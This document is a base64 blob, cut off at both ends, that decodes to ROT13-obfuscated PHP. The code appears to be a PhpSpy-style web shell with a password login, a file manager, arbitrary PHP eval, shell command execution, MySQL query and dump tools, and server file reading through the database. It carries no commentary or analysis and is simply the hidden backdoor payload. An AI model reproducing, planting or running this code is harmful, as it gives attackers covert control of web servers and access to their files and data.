w0KdnMoY2VydF96bmdwdSgiL151Z2djOi92Iiwkc3l2YXJjbmVmcnFbMl0pKXsNCiRoZXlnbmV0cmc9JHN5dmFyY25lZnJxWzJdOw0KfSByeWZyIHsNCiRoZXlnbmV0cmc9InVnZ2M6Ly8iLiR1YmZnLigkY2JlZyE9JzgwJyA/ICI6Ii4kY2JlZyA6ICcnKS4kc3l2YXJjbmVmcnFbMl07DQp9DQp9IHJ5ZnIgew0KdmFpbnl2cWVyZGhyZmcoKTsNCn0NCiRhcmtnX3VybnFyZT0iIjsNCnNiZXJucHUoJHVybnFyZWYgbmYgJHVybnEpew0KdnMoIWNlcnRfem5ncHUoIi9eKFBiYWdyYWctWXJhdGd1fFBiYWFycGd2YmF8TnBwcmNnLVJhcGJxdmF0KS92IiwkdXJucSkpew0KJGFya2dfdXJucXJlLj0kdXJucS4iXGVcYSI7DQp9DQp9DQokY25lbnpmWyd1Z2djJ11bJ3VybnFyZSddPSRhcmtnX3VybnFyZTsNCnZzKCRwYmFncmFnIT0nJykkY25lbnpmWyd1Z2djJ11bJ3BiYWdyYWcnXT0kcGJhZ3JhZzsNCiRwYmFncmtnID0gQGZnZXJuel9wYmFncmtnX3Blcm5ncigkY25lbnpmKTsNCiRiY3Jhc3Z5cj1Ac2JjcmEoJGhleWduZXRyZywgJ2UnLHNueWZyLCAkcGJhZ3JrZyk7DQp2cyh2ZmZyZygkdWdnY19lcmZjYmFmcl91cm5xcmUpKXsNCnNiZXJucHUoJHVnZ2NfZXJmY2JhZnJfdXJucXJlIG5mICRldXJucSl7DQpjZXZhZyAkZXVybnEuIlxlXGEiOw0KfQ0KY2V2YWcgIlxlXGEiOw0KfQ0KdnMgKCRiY3Jhc3Z5cikge2p1dnlyICgoJG9ocyA9IEBzdHJnZigkYmNyYXN2eXIsIDIwNDgpKSAhPT0gc255ZnIpIHtycHViICRvaHM7fUBzcHliZnIoJGJjcmFzdnlyKTt9fX0gcnlmciB7Y2V2YWcgIlVHR0MvMS4xIDUwMFxlXGFGcmVpcmU6IE1yZWItQ2Via2xcZVxhUGJhZ3JhZy1ZcmF0Z3U6IDI2XGVcYVxlXGE8dTE+RnJlaXJlIGFiZyBoZm5veXI8L3UxPlxlXGEiO319cmt2Zzt9DQojY3JhcXZyYWdyIHFyIHBiemNldnp2ZQ0KJHpndnpyID0gcmtjeWJxcignICcsIHp2cGViZ3Z6cigpKTsNCiRmZ25lZ2d2enIgPSAkemd2enJbMV0gKyAkemd2enJbMF07DQpxcnN2YXIoJ0ZOX0VCQkcnLCBmZ2VfZXJjeW5wcignXFwnLCAnLycsIHF2ZWFuenIoX19TVllSX18pKS4nLycpOw0KcXJzdmFyKCdWRl9KVkEnLCBRVkVSUEdCRUxfRlJDTkVOR0JFID09ICdcXCcpOw0KcXJzdmFyKCdWRl9QQlonLCBweW5mZl9ya3ZmZ2YoJ1BCWicpID8gMSA6IDApOw0KcXJzdmFyKCdWRl9UQ1AnLCB0cmdfem50dnBfZGhiZ3JmX3RjcCgpKTsNCiRxdmZfc2hhcCA9IHRyZ19wc3RfaW5lKCdxdmZub3lyX3NoYXBndmJhZicpOw0KcXJzdmFyKCdWRl9DVUNWQVNCJywgKCFyZXJ0digiY3VjdmFzYiIsJHF2Zl9zaGFwKSkgPyAxIDogMCk7DQpAZnJnX2d2enJfeXZ6dmcoMCk7DQpzYmVybnB1KG5lZW5sKCdfVFJHJywnX0NCRkcnKSBuZiAkX2VyZGhyZmcpIHtzYmVybnB1KCQkX2VyZGhyZmcgbmYgJF94cmwgPT4gJF9pbnlocikge3ZzICgkX3hybHswfSAhPSAnXycpIHt2cyAoVkZfVENQKSB7JF9pbnlociA9IGZfbmVlbmwoJF9pbnlocik7fSQkX3hybCA9ICRfaW55aHI7fX19JG5xenZhID0gbmVlbmwoKTsNCiRucXp2YVsncHVycHgnXSA9IGdlaHI7DQokbnF6dmFbJ2NuZmYnXSA9ICdvbzc1cTc0bnFwNjY2ODYwcTdzcjIyNnJxMHBuMDI3Nyc7DQokbnF6dmFbJ3BiYnh2cmNlciddID0gJyc7DQokbnF6dmFbJ3BiYnh2cnFiem52YSddID0gJyc7DQokbnF6dmFbJ3BiYnh2cmNuZ3UnXSA9ICcvJzsNCiRucXp2YVsncGJieHZyeXZzciddID0gODY0MDA7DQohJGpldmdub3lycW8gJiYgJGpldmdub3lycW8gPSAnY3VjLHB0dixjeSxuZmMsdmFwLHdmLHVnenksdWd6LHdmYyc7DQokcHVuZWZyZ3FvID0gbmVlbmwoJ25lemZwdnY4JywnbmZwdnYnLCdvdnQ1Jywnb3ZhbmVsJywncGMxMjUwJywncGMxMjUxJywncGMxMjU2JywncGMxMjU3JywncGM4NTAnLCdwYzg1MicsJ3BjODY2JywncGM5MzInLCdxcnA4Jywncmhwd2N6ZicsJ3JocHhlJywndG8yMzEyJywndG94JywndHJiZmdxOCcsJ3RlcnJ4JywndXJvZXJqJywndWM4JywneHJsb3BmMicsJ3hidjhlJywneGJ2OGgnLCd5bmd2YTEnLCd5bmd2YTInLCd5bmd2YTUnLCd5bmd2YTcnLCd6bnBwcicsJ3pucGViem5hJywnZnd2ZicsJ2ZqcjcnLCdndmY2MjAnLCdocGYyJywnaHd2ZicsJ2hnczgnDQopOw0KdnMgKCRwdW5lZnJnID09ICdoZ3M4Jykge3VybnFyZSgicGJhZ3JhZy1HbGNyOiBncmtnL3Vnenk7IHB1bmVmcmc9aGdzLTgiKTsNCn0gcnlmcnZzICgkcHVuZWZyZyA9PSAnb3Z0NScpIHt1cm5xcmUoInBiYWdyYWctR2xjcjogZ3JrZy91Z3p5OyBwdW5lZnJnPW92dDUiKTsNCn0gcnlmcnZzICgkcHVuZWZyZyA9PSAndG94Jykge3VybnFyZSgicGJhZ3JhZy1HbGNyOiBncmtnL3Vnenk7IHB1bmVmcmc9dG94Iik7DQp9IHJ5ZnJ2cyAoJHB1bmVmcmcgPT0gJ3luZ3ZhMScpIHt1cm5xcmUoInBiYWdyYWctR2xjcjogZ3JrZy91Z3p5OyBwdW5lZnJnPXZmYi04ODU5LTIiKTsNCn0gcnlmcnZzICgkcHVuZWZyZyA9PSAncmhweGUnKSB7dXJucXJlKCJwYmFncmFnLUdsY3I6IGdya2cvdWd6eTsgcHVuZWZyZz1yaHAteGUiKTsNCn0gcnlmcnZzICgkcHVuZWZyZyA9PSAncmhwd2N6ZicpIHt1cm5xcmUoInBiYWdyYWctR2xjcjogZ3JrZy91Z3p5OyBwdW5lZnJnPXJocC13YyIpOw0KfSRmcnlzID0gJF9GUkVJUkVbJ0NVQ19GUllTJ10gPyAkX0ZSRUlSRVsnQ1VDX0ZSWVMnXSA6ICRfRlJFSVJFWydGUEVWQ0dfQU5aUiddOw0KJGd2enJmZ256YyA9IGd2enIoKTsNCnZzICgkbnBndmJhID09ICJ5YnRiaGciKSB7ZnBiYnh2cigneWJ0dmFjbmZmJywgJycsIC04NjQwMCAqIDM2NSk7YygnPHpyZ24gdWdnYy1yZGh2aT0iZXJzZXJmdSIgcGJhZ3JhZz0iMTtIRVk9Jy4kZnJ5cy4nIj4nKTtjKCc8biBmZ2x5cj0ic2JhZzoxMmNrIElyZXFuYW4iIHVlcnM9IicuJGZyeXMuJyI+TnF2YmYsIGFiIGlocnlpbmYhITwvbj4nKTtya3ZnOw0KfXZzKCRucXp2YVsncHVycHgnXSkge3ZzICgkcWJ2YXQgPT0gJ3lidHZhJykge3ZzICgkbnF6dmFbJ2NuZmYnXSA9PSB6cTUoJGNuZmZqYmVxKSkge2ZwYmJ4dnIoJ3lidHZhY25mZicsIHpxNSgkY25mZmpiZXEpKTtjKCc8enJnbiB1Z2djLXJkaHZpPSJlcnNlcmZ1IiBwYmFncmFnPSIxO0hFWT0nLiRmcnlzLiciPicpO2MoJzxuIGZnbHlyPSJzYmFnOjEyY2sgSXJlcW5hbiIgdWVycz0iJy4kZnJ5cy4nIj5WYXRlcmZuYXFiLi4uPC9uPicpO3Jrdmc7fX12cyAoJF9QQkJYVlJbJ3lidHZhY25mZiddKSB7dnMgKCRfUEJCWFZSWyd5YnR2YWNuZmYnXSAhPSAkbnF6dmFbJ2NuZmYnXSkge3lidHZhY250cigpO319IHJ5ZnIge3lidHZhY250cigpO319dnModmZmcmcoJF9UUkdbJ2ZzJ10pKSBmdXJ5eXN2YXFyZSgpOyRyZWV6ZnQgPSAnJztib19mZ25lZygpO3ZzICgkbnBndmJhID09ICdjdWN2YXNiJykge3ZzIChWRl9DVUNWQVNCKSB7Y3VjdmFzYigpO3Jrdmc7fSByeWZyIHskcmVlemZ0ID0gJ2N1Y3Zhc2IoKSBhYiByZmduIHVub3Z5dmducWInO319dnMgKCRxYnZhdCA9PSAncWJqYXN2eXInICYmICRndXJzdnlyKSB7dnMgKCFAc3Z5cl9ya3ZmZ2YoJGd1cnN2eXIpKSB7JHJlZXpmdCA9ICdSeSBuZXB1dmliIGRociBxcmZybiBxcmZwbmV0bmUgYWIgcmt2ZmdyJzt9IHJ5ZnIgeyRzdnlydmFzYiA9IGNuZ3V2YXNiKCRndXJzdnlyKTt1cm5xcmUoJ1BiYWdyYWctZ2xjcjogbmNjeXZwbmd2YmEvay0nLiRzdnlydmFzYlsncmtncmFmdmJhJ10pO3VybnFyZSgnUGJhZ3JhZy1RdmZjYmZ2Z3ZiYTogbmdnbnB1enJhZzsgc3Z5cmFuenI9Jy4kc3Z5cnZhc2JbJ29uZnJhbnpyJ10pO3VybnFyZSgnUGJhZ3JhZy1ZcmF0Z3U6ICcuc3Z5cmZ2bXIoJGd1cnN2eXIpKTtAZXJucXN2eXIoJGd1cnN2eXIpO3Jrdmc7fX12cyAoJHFidmF0ID09ICdvbnB4aGN6bGZkeScgJiYgISRmbmlybmZzdnlyKSB7emxxb3BiYWEoJHFvdWJmZywgJHFvaGZyZSwgJHFvY25mZiwgJHFvYW56ciwgJHB1bmVmcmcsICRxb2NiZWcpOyRnbm95ciA9IG5lZW5sX3N5dmMoJGdub3lyKTskZXJmaHlnID0gZCgiRlVCSiBnbm95cmYiKTt2cyAoISRlcmZoeWcpIGMoJzx1Mj4nLnpsZmR5X3JlZWJlKCkuJzwvdTI+Jyk7JHN2eXJhbnpyID0gb25mcmFuenIoJF9GUkVJUkVbJ1VHR0NfVUJGRyddLidfWmxGRFkuZmR5Jyk7dXJucXJlKCdQYmFncmFnLWdsY3I6IG5jY3l2cG5ndmJhL2hheGFiamEnKTt1cm5xcmUoJ1BiYWdyYWctUXZmY2Jmdmd2YmE6IG5nZ25wdXpyYWc7IHN2eXJhbnpyPScuJHN2eXJhbnpyKTskemxmZHlxbmduID0gJyc7anV2eXIgKCRwaGVlYmogPSB6bGZkeV9zcmdwdV9uZWVubCgkZXJmaHlnKSkge3ZzICh2ZmZyZygkZ25veXJbJHBoZWVialswXV0pKSB7JHpsZmR5cW5nbiAuPSBmZHlxaHpjZ25veXIoJHBoZWVialswXSk7fX16bGZkeV9weWJmcigpO3Jrdmc7DQp9dnMoJHFidmF0PT0nemxmZHlxYmphJyl7dnMgKCEkcW9hbnpyKSB7JHJlZXpmdCA9ICdWYXRlcmZyIHJ5IHFvYW56cic7fSByeWZyIHt6bHFvcGJhYSgkcW91YmZnLCAkcW9oZnJlLCAkcW9jbmZmLCAkcW9hbnpyLCAkcHVuZWZyZywgJHFvY2JlZyk7dnMgKCFzdnlyX3JrdmZnZigkemxmZHlxeXN2eXIpKSB7JHJlZXpmdCA9ICdSeSBuZXB1dmliIGRociBxcmZybiBxcmZwbmV0bmUgYWIgcmt2ZmdyJzt9IHJ5ZnIgeyRlcmZoeWcgPSBkKCJmcnlycGcgeWJucV9zdnlyKCckemxmZHlxeXN2eXInKTsiKTt2cyghJGVyZmh5Zyl7ZCgiUUVCQyBHTk9ZUiBWUyBSS1ZGR0YgZ3pjX25hdHJ5OyIpO2QoIlBFUk5HUiBHTk9ZUiBnemNfbmF0cnkgKHBiYWdyYWcgWUJBVE9ZQk8gQUJHIEFIWVkpOyIpOwkNCmQoIllCTlEgUU5HTiBZQlBOWSBWQVNWWVIgJyIubnFxZnluZnVyZigkemxmZHlxeXN2eXIpLiInIFZBR0IgR05PWVIgZ3pjX25hdHJ5IFNWUllRRiBHUkVaVkFOR1JRIE9MICdfX25hdHJ5X3skZ3Z6cmZnbnpjfV9yYnNfXycgUkZQTkNSUSBPTCAnJyBZVkFSRiBHUkVaVkFOR1JRIE9MICdfX25hdHJ5X3skZ3Z6cmZnbnpjfV9yYnNfXyc7Iik7JGVyZmh5ZyA9IGQoImZyeXJwZyBwYmFncmFnIHNlYnogZ3pjX25hdHJ5Iik7ZCgiUUVCQyBHTk9ZUiBnemNfbmF0cnkiKTt9JGViaiA9IEB6bGZkeV9zcmdwdV9uZWVubCgkZXJmaHlnKTt2cyAoISRlYmopIHskcmVlemZ0ID0gJ1libnEgc3Z5ciBzbnZ5cnEgJy56bGZkeV9yZWViZSgpO30gcnlmciB7JHN2eXJ2YXNiID0gY25ndXZhc2IoJHpsZmR5cXlzdnlyKTt1cm5xcmUoJ1BiYWdyYWctZ2xjcjogbmNjeXZwbmd2YmEvay0nLiRzdnlydmFzYlsncmtncmFmdmJhJ10pO3VybnFyZSgnUGJhZ3JhZy1RdmZjYmZ2Z3ZiYTogbmdnbnB1enJhZzsgc3Z5cmFuenI9Jy4kc3Z5cnZhc2JbJ29uZnJhbnpyJ10pO3VybnFyZSgiTnBwcmNnLVlyYXRndTogIi5mZ2V5cmEoJGVialswXSkpO3JwdWIgJGVialswXTtya3ZnO319fX12cyh2ZmZyZygkX1RSR1snZWcnXSkpez8+DQo8c2JleiBucGd2YmE9Ij9lZyIgenJndWJxPSJDQkZHIj4NCjxnbm95cj4NCjxnZT48Z3E+PG8+UmtjeWJ2ZzogPG8+PC9ncT48Z3E+PHZhY2hnIGdsY3I9Imdya2ciIGFuenI9InJrY3lidmciIGlueWhyPSI8P2N1YyB2cyh2ZmZyZygkX0NCRkdbJ3JrY3lidmcnXSkpe2NldmFnIHVnenlyYWd2Z3ZyZigkX0NCRkdbJ3JrY3lidmcnXSk7fSByeWZyIHtjZXZhZyAnL2d6Yy8yLjYuMTgtNTYnOyB9ID8+Ij48L2dxPjwvZ2U+DQo8Z2U+PGdxPjxvPlBaUTogPG8+PC9ncT48Z3E+PGdya2duZXJuIGdsY3I9Imdya2ciIGFuenI9InB6cSIgZWJqZj0iNCIgcGJ5Zj0iNTAiPjw/Y3VjIHZzKHZmZnJnKCRfQ0JGR1sncHpxJ10pKXtjZXZhZyB1Z3p5cmFndmd2cmYoJF9DQkZHWydwenEnXSk7fSA/PjwvZ3JrZ25lcm4+PC9ncT48L2dlPg0KPGdlPjxncT48L2dxPjxncT48dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iRWhhIG5mIEUwMGciPjwvZ3E+PC9nZT4NCjwvZ25veXI+DQo8L3NiZXo+DQo8P2N1Yw0KdnModmZmcmcoJF9DQkZHWydwenEnXSkpeyRzYyA9IHNiY3JhKCcvZ3pjL3B6cS5na2cnLCAnaicpO3NqZXZncigkc2MsICRfQ0JGR1sncHpxJ10uIlxhIik7c2pldmdyKCRzYywgInJrdmdcYSIpO3NweWJmcigkc2MpO2NldmFnICI8Y2VyPiIudWd6eXJhZ3ZndnJmKHJrcnBoZ3IoInBuZyAvZ3pjL3B6cS5na2cgfCAiLiRfQ0JGR1sncmtjeWJ2ZyddKSkuIjwvY2VyPiI7fXJrdmc7DQp9Pz4NCjx1Z3p5Pg0KPHVybnE+DQo8enJnbiB1Z2djLXJkaHZpPSJQYmFncmFnLUdsY3IiIHBiYWdyYWc9Imdya2cvdWd6eTsgcHVuZWZyZz10b3giPg0KPGd2Z3lyPjw/Y3VjIHJwdWIgZmdlX2VyY3lucHIoJy4nLCcnLCdDLnUuYy4tLi0uLScpOz8+PC9ndmd5cj4NCjxmZ2x5ciBnbGNyPSJncmtnL3BmZiI+DQpvYnFsLGdxe3NiYWc6IDEyY2sgTmV2bnksR251YnpuO3l2YXItdXJ2dHVnOiAxNmNrO30udmFjaGd7c2JhZzoxMmNrIE5ldm55LEdudWJ6bjtvbnB4dGViaGFxOiNzc3M7b2JlcXJlOiAxY2sgZmJ5dnEgIzY2NjtjbnFxdmF0OjJjazt1cnZ0dWc6MjJjazt9Lm5lcm57c2JhZzoxMmNrICdQYmhldnJlIEFyaicsIFpiYWJmY25wcjtvbnB4dGViaGFxOiNzc3M7b2JlcXJlOiAxY2sgZmJ5dnEgIzY2NjtjbnFxdmF0OjJjazt9Lm9nIHtvYmVxcmUtcGJ5YmU6I28wbzBvMDtvbnB4dGViaGFxOiMzcTNxM3E7cGJ5YmU6I3Nzc3NzcztzYmFnOjEyY2sgTmV2bnksR251YnpuO3VydnR1ZzoyMmNrO31uIHtwYnliZTogIzAwcztncmtnLXFycGJlbmd2YmE6aGFxcmV5dmFyO31uOnViaXJle3BieWJlOiAjczAwO2dya2ctcXJwYmVuZ3ZiYTphYmFyO30ubnlnMSBncXtvYmVxcmUtZ2JjOjFjayBmYnl2cSAjc3NzO29iZXFyZS1vYmdnYno6MWNrIGZieXZxICNxcXE7b25weHRlYmhhcTojczFzMXMxO2NucXF2YXQ6NWNrIDEwY2sgNWNrIDVjazt9Lm55ZzIgZ3F7b2JlcXJlLWdiYzoxY2sgZmJ5dnEgI3NzcztvYmVxcmUtb2JnZ2J6OjFjayBmYnl2cSAjcXFxO29ucHh0ZWJoYXE6I3M5czlzOTtjbnFxdmF0OjVjayAxMGNrIDVjayA1Y2s7fS5zYnBoZiBncXtvYmVxcmUtZ2JjOjFjayBmYnl2cSAjc3NzO29iZXFyZS1vYmdnYno6MWNrIGZieXZxICNxcXE7b25weHRlYmhhcTojc3Nzc25uO2NucXF2YXQ6NWNrIDEwY2sgNWNrIDVjazt9LnVybnEgZ3F7b2JlcXJlLWdiYzoxY2sgZmJ5dnEgI3NzcztvYmVxcmUtb2JnZ2J6OjFjayBmYnl2cSAjcXFxO29ucHh0ZWJoYXE6I3I5cjlyOTtjbnFxdmF0OjVjayAxMGNrIDVjayA1Y2s7c2JhZy1qcnZ0dWc6b2J5cTt9LnVybnEgZ3EgZmNuYXtzYmFnLWpydnR1ZzphYmV6bnk7fXNiZXp7em5ldHZhOjA7Y25xcXZhdDowO311Mnt6bmV0dmE6MDtjbnFxdmF0OjA7dXJ2dHVnOjI0Y2s7eXZhci11cnZ0dWc6MjRjaztzYmFnLWZ2bXI6MTRjaztwYnliZTojNU82ODZTO31oeS52YXNiIHl2e3puZXR2YTowO3BieWJlOiM0NDQ7eXZhci11cnZ0dWc6MjRjazt1cnZ0dWc6MjRjazt9aHtncmtnLXFycGJlbmd2YmE6IGFiYXI7cGJ5YmU6Izc3NztzeWJuZzp5cnNnO3F2ZmN5bmw6b3licHg7anZxZ3U6MTUwY2s7em5ldHZhLWV2dHVnOjEwY2s7fTwvZmdseXI+DQo8ZnBldmNnIGdsY3I9Imdya2cvd25pbmZwZXZjZyI+DQpzaGFwZ3ZiYSBQdXJweE55eShzYmV6KSB7c2JlKGluZSB2PTA7djxzYmV6LnJ5cnpyYWdmLnlyYXRndTt2KyspIHtpbmUgciA9IHNiZXoucnlyenJhZ2Zbdl07dnMgKHIuYW56ciAhPSAncHV4bnl5JylyLnB1cnB4cnEgPSBzYmV6LnB1eG55eS5wdXJweHJxOw0KIH19c2hhcGd2YmEgJCh2cSkge2VyZ2hlYSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSh2cSk7DQp9c2hhcGd2YmEgdGJucGd2YmEobnBnKXskKCd0Ym5wZ3ZiYScpLm5wZ3ZiYS5pbnlocj1ucGc7JCgndGJucGd2YmEnKS5maG96dmcoKTsNCn08L2ZwZXZjZz4NCjwvdXJucT4NCjxvYnFsIGZnbHlyPSJ6bmV0dmE6MDtnbm95ci15bmxiaGc6c3ZrcnE7IGpiZXEtb2Vybng6b2Vybngtbnl5Ij4NCjxnbm95ciBqdnFndT0iMTAwJSIgb2JlcXJlPSIwIiBwcnl5Y25xcXZhdD0iMCIgcHJ5eWZjbnB2YXQ9IjAiPg0KPGdlIHB5bmZmPSJ1cm5xIj4NCjxncT48ZmNuYSBmZ2x5cj0ic3libmc6ZXZ0dWc7Ij48P2N1YyBycHViIGZnZV9lcmN5bnByKCcuJywnJywnQy51LmMuLS4tLi0nKTs/PiA8L2ZjbmE+PD9jdWMgcnB1YiAkX0ZSRUlSRVsnVUdHQ19VQkZHJ107Pz4gKDw/Y3VjIHJwdWIgdHJndWJmZ29sYW56cigkX0ZSRUlSRVsnRlJFSVJFX0FOWlInXSk7Pz4pPC9ncT4NCjwvZ2U+DQo8Z2UgcHluZmY9Im55ZzEiPg0KPGdxPjxmY25hIGZnbHlyPSJzeWJuZzpldnR1ZzsiPkZuc3IgWmJxcjo8P2N1YyBycHViIHRyZ3BzdCgnZm5zcl96YnFyJyk7Pz48L2ZjbmE+DQo8biB1ZXJzPSJ3bmluZnBldmNnOnRibnBndmJhKCd5YnRiaGcnKTsiPkZueXZlPC9uPiB8DQo8biB1ZXJzPSJ3bmluZnBldmNnOnRibnBndmJhKCdzdnlyJyk7Ij5OZXB1dmliZjwvbj4gfA0KPG4gdWVycz0id25pbmZwZXZjZzp0Ym5wZ3ZiYSgnemxmZHlucXp2YScpOyI+WkxGRFk8L24+IHwNCjxuIHVlcnM9InduaW5mcGV2Y2c6dGJucGd2YmEoJ3pmZmR5bnF6dmEnKTsiPlpGRkRZPC9uPiB8DQo8biB1ZXJzPSJ3bmluZnBldmNnOnRibnBndmJhKCdmZHlzdnlyJyk7Ij5GaG92ZS9PbnduZSBabEZEWVFPPC9uPiB8DQo8biB1ZXJzPSJ3bmluZnBldmNnOnRibnBndmJhKCdmdXJ5eScpOyI+UndycGhnbmUgUGJ6bmFxYjwvbj4gfA0KPG4gdWVycz0id25pbmZwZXZjZzp0Ym5wZ3ZiYSgnY3VjcmFpJyk7Ij5JbmV2bm95cmYgQ1VDPC9uPiB8DQo8biB1ZXJzPSJ3bmluZnBldmNnOnRibnBndmJhKCdyaW55Jyk7Ij5Sd3JwaGduZSBDVUM8L24+DQo8P2N1YyB2cyAoIVZGX0pWQSkgez8+IHwgPG4gdWVycz0id25pbmZwZXZjZzp0Ym5wZ3ZiYSgnb25weHBiYWFycGcnKTsiPkZ1cnl5IHZhaXJlZm48L24+PD9jdWMgfT8+DQo8L2dxPg0KPC9nZT4NCjwvZ25veXI+DQo8Z25veXIganZxZ3U9IjEwMCUiIG9iZXFyZT0iMCIgcHJ5eWNucXF2YXQ9IjE1IiBwcnl5ZmNucHZhdD0iMCI+PGdlPjxncT4NCjw/Y3VjDQpzYmV6dXJucShuZWVubCgnYW56cic9Pid0Ym5wZ3ZiYScpKTsNCnpueHJ1dnFyKCducGd2YmEnKTsNCnNiZXpzYmJnKCk7DQokcmVlemZ0ICYmIHooJHJlZXpmdCk7DQp2cyAoISRxdmUpIHt2cyAoJF9GUkVJUkVbIlFCUEhaUkFHX0VCQkciXSkgeyRxdmUgPSAkX0ZSRUlSRVsiUUJQSFpSQUdfRUJCRyJdO30gcnlmciB7JHF2ZSA9ICcuJzt9fSRhYmpjbmd1ID0gdHJnQ25ndShGTl9FQkJHLCAkcXZlKTsNCnZzIChmaG9mZ2UoJHF2ZSwgLTEpICE9ICcvJykgeyRxdmUgPSAkcXZlLicvJzsNCn0kaHJxdmUgPSBocigkcXZlKTsNCnZzICghJG5wZ3ZiYSB8fCAkbnBndmJhID09ICdzdnlyJykgeyRxdmVfamV2Z3Jub3lyID0gQHZmX2pldmdub3lyKCRhYmpjbmd1KSA/ICdKZXZnbm95cicgOiAnQWJhLWpldmdub3lyJzt2cyAoJHFidmF0ID09ICdxcnlxdmUnICYmICRndXJzdnlyKSB7dnMgKCFzdnlyX3JrdmZnZigkZ3Vyc3Z5cikpIHt6KCRndXJzdnlyLicgUnkgcXZlcnBnYmV2YiBhYiBya3ZmZ3InKTt9IHJ5ZnIge3ooJ09iZWVucWIgJy4ocXJ5Z2VycigkZ3Vyc3Z5cikgPyBvbmZyYW56cigkZ3Vyc3Z5cikuJyBya3ZnYmZiJyA6ICdzbnl5dnFiJykpO319cnlmcnZzICgkYXJqcXZlYW56cikgeyR6eHF2ZWYgPSAkYWJqY25ndS4kYXJqcXZlYW56cjt2cyAoc3Z5cl9ya3ZmZ2YoJHp4cXZlZikpIHt6KCdSeSBxdmVycGdiZXZiIGxuIHJrdmZncicpO30gcnlmciB7eignUXZlcnBnYmV2YiBwZXJucWIgJy4oQHp4cXZlKCR6eHF2ZWYsMDc3NykgPyAncmt2Z2JmYicgOiAnc255eXZxYicpKTtAcHV6YnEoJHp4cXZlZiwwNzc3KTt9fXJ5ZnJ2cyAoJHFiaGNzdnlyKSB7eignSGN5Ym5xICcuKEBwYmNsKCRfU1ZZUkZbJ2hjeWJucXN2eXInXVsnZ3pjX2FuenInXSwkaGN5Ym5xcXZlLicvJy4kX1NWWVJGWydoY3libnFzdnlyJ11bJ2FuenInXSkgPyAncmt2Z2JmYicgOiAnc255eXZxYicpKTt9cnlmcnZzICgkcnF2Z3N2eXJhbnpyICYmICRzdnlycGJhZ3JhZykgeyRzYyA9IEBzYmNyYSgkcnF2Z3N2eXJhbnpyLCdqJyk7eignVGhuZXFucWIgJy4oQHNqZXZncigkc2MsJHN2eXJwYmFncmFnKSA/ICdya3ZnYmZiJyA6ICdzbnl5dnFiJykpO0BzcHliZnIoJHNjKTt9cnlmcnZzICgkY3N2eXIgJiYgJGFyamNyZXopIHt2cyAoIXN2eXJfcmt2ZmdmKCRjc3Z5cikpIHt6KCdSeSBuZXB1dmliIGJldnR2YW55IGFiIHJrdmZncicpO30gcnlmciB7JGFyamNyZXogPSBvbmZyX3BiYWlyZWcoJGFyamNyZXosOCwxMCk7eignWmJxdnN2cG5lIG5nZXZvaGdiZiAnLihAcHV6YnEoJGNzdnlyLCRhcmpjcmV6KSA/ICdya3ZnYmZiJyA6ICdzbnl5dnFiJykpO319cnlmcnZzICgkYnlxYW56ciAmJiAkYXJqc3Z5cmFuenIpIHskYWFuenIgPSAkYWJqY25ndS4kYXJqc3Z5cmFuenI7dnMgKHN2eXJfcmt2ZmdmKCRhYW56cikgfHwgIXN2eXJfcmt2ZmdmKCRieXFhbnpyKSkge3ooJGFhbnpyLicgdW5mIG55ZXJucWwgcmt2ZmdycSBiZSBiZXZ0dmFueSBzdnlyIHFicmYgYWJnIHJrdmZnJyk7fSByeWZyIHt6KG9uZnJhbnpyKCRieXFhbnpyKS4nIGVyYWJ6b2VucWIgJy5vbmZyYW56cigkYWFuenIpLihAZXJhbnpyKCRieXFhbnpyLCRhYW56cikgPyAnIGZocHByZmYnIDogJ3NudnlycScpKTt9fXJ5ZnJ2cyAoJGZhbnpyICYmICRnYnN2eXIpIHt2cyAoc3Z5cl9ya3ZmZ2YoJGdic3Z5cikgfHwgIXN2eXJfcmt2ZmdmKCRmYW56cikpIHt6KCdHdXIgdGJueSBzdnlyIHVuZiBueWVybnFsIHJrdmZncnEgYmUgYmV2dHZhbnkgc3Z5ciBxYnJmIGFiZyBya3ZmZycpO30gcnlmciB7eihvbmZyYW56cigkZ2JzdnlyKS4nIHBiY3ZycSAnLihAcGJjbCgkZmFuenIsJGdic3Z5cikgPyBvbmZyYW56cigkZ2JzdnlyKS4nIGZocHByZmYnIDogJ3NudnlycScpKTt9fXJ5ZnJ2cyAoJHBoZXN2eXIgJiYgJGduZXN2eXIpIHt2cyAoIUBzdnlyX3JrdmZnZigkcGhlc3Z5cikgfHwgIUBzdnlyX3JrdmZnZigkZ25lc3Z5cikpIHt6KCdHdXIgdGJueSBzdnlyIHVuZiBueWVybnFsIHJrdmZncnEgYmUgYmV2dHZhbnkgc3Z5ciBxYnJmIGFiZyBya3ZmZycpO30gcnlmciB7JGd2enIgPSBAc3Z5cnpndnpyKCRnbmVzdnlyKTt6KCdaYnF2c2wgc3Z5ciBndXIgeW5mZyB6YnF2c3ZycSAnLihAZ2JocHUoJHBoZXN2eXIsJGd2enIsJGd2enIpID8gJ3JrdmdiZmInIDogJ3NueXl2cWInKSk7fX1yeWZydnMgKCRwaGVzdnlyICYmICRscm5lICYmICR6YmFndSAmJiAkcW5sICYmICR1YmhlICYmICR6dmFoZ3IgJiYgJGZycGJhcSkge3ZzICghQHN2eXJfcmt2ZmdmKCRwaGVzdnlyKSkge3oob25mcmFuenIoJHBoZXN2eXIpLicgcWJyZiBhYmcgcmt2ZmcnKTt9IHJ5ZnIgeyRndnpyID0gZmdlZ2JndnpyKCIkbHJuZS0kemJhZ3UtJHFubCAkdWJoZTokenZhaGdyOiRmcnBiYXEiKTt6KCdaYnF2c2wgc3Z5ciBndXIgeW5mZyB6YnF2c3ZycSAnLihAZ2JocHUoJHBoZXN2eXIsJGd2enIsJGd2enIpID8gJ3JrdmdiZmInIDogJ3NueXl2cWInKSk7fX1yeWZydnMoJHFidmF0ID09ICdxYmphZW5lJykge3ZzICgkcXkpIHskcXN2eXJmPScnO3NiZXJucHUgKCRxeSBuZiAkc3Z5cmNuZ3UgPT4gJGlueWhyKSB7JHFzdnlyZi49JHN2eXJjbmd1LicsJzt9JHFzdnlyZj1maG9mZ2UoJHFzdnlyZiwwLGZnZXlyYSgkcXN2eXJmKS0xKTskcXk9cmtjeWJxcignLCcsJHFzdnlyZik7JG12Yz1hcmogQ1VDTXZjKCRxeSk7JHBicXI9JG12Yy0+YmhnO3VybnFyZSgnUGJhZ3JhZy1nbGNyOiBuY2N5dnBuZ3ZiYS9icGdyZy1mZ2VybnonKTt1cm5xcmUoJ05wcHJjZy1FbmF0cmY6IG9sZ3JmJyk7dXJucXJlKCdOcHByY2ctWXJhdGd1OiAnLmZnZXlyYSgkcGJxcikpO3V